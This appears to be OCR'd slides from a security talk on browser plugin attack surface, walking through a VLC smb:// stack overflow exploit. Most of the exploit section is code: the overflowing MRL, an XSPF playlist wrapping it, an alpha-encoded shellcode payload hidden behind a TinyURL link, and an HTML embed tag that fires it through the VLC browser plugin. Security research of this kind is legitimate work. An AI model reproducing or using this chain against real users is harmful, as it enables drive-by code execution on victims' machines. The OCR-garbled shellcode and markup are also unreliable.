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“The amount of intelligence in the
world is constant and the population
IS increasing.”




Browser

Reckless
Plugins




LOOK AT ALL THE COOL STUFF!!
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Wider Attack Surface




Ease of Exploitation




Mass Manufacturing




Complexity...
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A New Dimension!




Open exploit vectors

Browsers




Exploit Mitigation

Techniques
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| can haz

sandbox?




The webz are broken!
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HTTP AJAX Authentication
HTML Flash NEWSTRESS
Sandbox Data Typing
HTML5 Non-mutable
Anti-XSS
WAF
Silverlight L

Web sockets 1
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MIND THE GAP
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High Tech vs. Low Tech

-

CVE-2010-0188 Escape-From-PDF
Return Oriented Programming code No fancy tricks
v/ N v/

N
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Server Side

Vulnerabilities




SQL injection

Iy

RFI/LFI

CSRF
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Making the impossible possible

buffer overflow
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VLC smb overflow

* smb://example.com@0.0.0.0/foo/#
fAAAAAAAA....}

e Classic Stack Overflow.

* This MRL has to be fed to VLC.
» Ugly method

— create an XSPF file

— embed the MRL inside it

— email it around, etc...
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VLC XSPF file

<?xml version="1.0" encoding="UTF-8"7>
<playlist version="1"
xmlns="http://xspf.org/ns/0/"
xmlns:vlic="http://www.videolan.org/vic/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>
smb://example.com@0.0.0.0/foo/#{AAAAAAAA. ...}
</location>
<extension
application="http://www.videolan.org/vic/playlist/0">
<vlc:1d>0</vic:1d>
</extension>
</track>
</trackList>
</playlist>
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...just add bit.ly

bit.ly] @

smb:// mrl
buffer overflow

l] net-square



Alpha
Encoded

M U




TinyURL.com - shorten that long URL into a tiny URL
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TinyURL.com

Making long URLs usable! More than 600 million of them. Serving billions of redirects per month

Home

EraT DT TinyURL was created!

Make Toolbar The following URL:

Button smb://example.com@0.0.0.0/foo/ #{AAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Redirection AAAAAAAAJ4?WTYIIIIIIIIIIIIIIII7QZjAXPOAOAKAAQ2AB2BBOBBABXPSA
BuJICVK1J]jIoFOQRPRBIGrChJmDnEIGuBzCDHOOHF4POPOCgLKHzNOQeIzNO

Hide URLs CEJGIOM7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Preview AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

. _cooll AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Feature AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Link to Us! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATOOWTOOWWY
IIIIIIIIIIIIIIII7ZQZjAXPOAOAKAAQ2AB2BBOBBABXP8S8ABUJIKLIXCtGpCO

Terms of use GpLKQUGLNkQIFeD8GqHOLKPOEHLKCoQOEQHKQYLKP4NKEQINP1KpNYNLMTIP
QdC7KqIZDMC102JKL4GKCAGTGtBUIULKQOQ4EQHKPfLKDLBKLKCOGIEQIKLK

Contact Us! GILKEQHkOYCIQ4GtIcEaIPBDNKkGOPOMUIPCHDLLKGOFINKPpGINMNKE8GxHk

EYLKOpHOEPCOEPLKQXxGLQOEaJVQpCfOyHxOsIPCKBpCXHpLIC4QOPhISKNNj
DNF7KOIWPcCQPIQsDnCUCHPeEPAA}

PayPal

Donate

has a length of 989 characters and resulted in the following TinyURL which has a length of 26 characters:

http://tinyurl.com/ycctrzf
Cool Sites [Open in new window]
Or, give your recipients confidence with a preview TinyURL:

® CoolWhois.com

® Unicyclist http://preview.tinyurl.com/ycctrzf
Communit [Open in new window]
* M This TinyURL may have been copied to your clipboard. (This no longer works for those who have
® MagicBounce upgraded to Flash 10.) To paste it in a document, press and hold down the ctrl key (command key for
Party Rentals Mac users) while pressing the V key, or choose the "paste” option from the edit menu. M
Next ‘ Previous ) Highlight all ) [_] Match case
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VLC smb overflow - HTMLized!!

<embed type="application/x-vilc-plugin”
width="320" height="200"
target="http://tinyurl.com/ycctrzf"
1d="vlc" />

I'm in ur browser....

...blowin Up ur gO(‘);éI:z.




It is happening NOW




It is happening NOW
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The Solution?

HTML 8.0 Browser Security
HTTP 2.0 } Model

Self Contained
Apps




kthxbai ,

saumil@net-square.com

www.net-square.com

secure . automate . innovate




